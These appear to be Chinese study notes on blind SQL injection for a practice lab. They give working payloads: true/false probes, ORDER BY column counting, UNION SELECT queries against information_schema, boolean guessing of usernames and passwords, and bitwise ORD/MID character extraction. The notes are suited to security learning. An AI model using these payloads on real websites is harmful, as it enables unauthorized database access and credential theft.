SQL盲注
【SQL注入介紹】
SQL盲注:不顯示數據庫內建的報錯信息【內建的報錯信息幫助開發人員發現和修復問題】,但由於報錯信息中提供了關於系統的大量有用信息。當程序員隱藏了數據庫內建報錯信息,替換為通用的錯誤提示,SQL注入將無法依據報錯信息判斷注入語句的執行結果,即為盲注。
思路:既然無法基於報錯信息判斷結果,基於邏輯真假的不同結果來判斷
a. 1' and 1=1--+
b. 1' and 1=2--+ 【輸入前真后假,無返回,頁面沒被執行】
###a與b比較,表明存在SQL注入漏洞
常用盲注語句【原理:猜測數據】
1' order by 5-- 【通過修改數值來測試列數,若頁面沒出現結果,則不存在該漏洞(1不能去掉,因為sql語句,表明必須提交一個正確的值,不一定為1)】
2' union select user(),database()-- 【查詢用戶名和數據庫名】
2' union select 1,2--+
1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+
【查所有的表名,#為注釋后面的代碼】
1' and 1=0 union select null,table_name from information_schema.tables#
1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #
當無權讀取information_schema庫 / 拒絕union、order by語句
#若為真,則顯示內容,若為假,則不顯示任何內容 【語句中的1不為固定,可靈活變化,甚至為字符,視情況而定】
#使用Burpsuite自動化猜解內容
1、猜列名
1' and user is [not] null--+ 【測試user列是否為空】
2、猜當前表表名
1' and users.user is not null--+ 【列為已知列】
3、猜庫里其他表
1' and (select count(*) from table)>0--+
4、列表對應關系
1' and users.user is not null--+
5、猜字段內容
1' and user='admin
1' or user like '%a%
6、猜賬號對應密碼
2' or user='admin' and password='faqfoiauggvuagbymd5' 【若為1,為id=1,若為2,則id為2,(意思為查詢第二個賬號)】
腦洞案例
當遇到網頁不顯示任何從數據庫中提取的信息,只有頁面風格畫面的轉換
and 1=1--+ 【原頁面】
and 1=2--+ 【顯示另一個頁面】
#則存在SQL注入漏洞
構造語句
1' and ORD(MID((VERSION()),1,1))&1>0--+ 【無返回,則該位的ASCII碼為0,正常返回,則ASCII碼為1】
如:
#則證明,二進制中,十進制數為32的那一位二進制為1
【MID函數:截取字符串中的某段子字符串,( 語法:MID(ColumnName,Start,Length)起始位置,長度 )】
【ORD函數:#把函數中的字符轉換成ASCII碼,( 語法:ORD(string)&n ){n是二進制ASCII碼的對應位置是0或1,n=1,2,4,8,16,32,64,128} 通過迭代8次查詢每一位ASCII碼的值,反查出字符】 《靈使用查詢VERSION(),DATABASE(),CURRENT_USER()當前用戶等函數》
代碼審計
低級別【並未對變量進行消毒】
中安全級別
高安全級別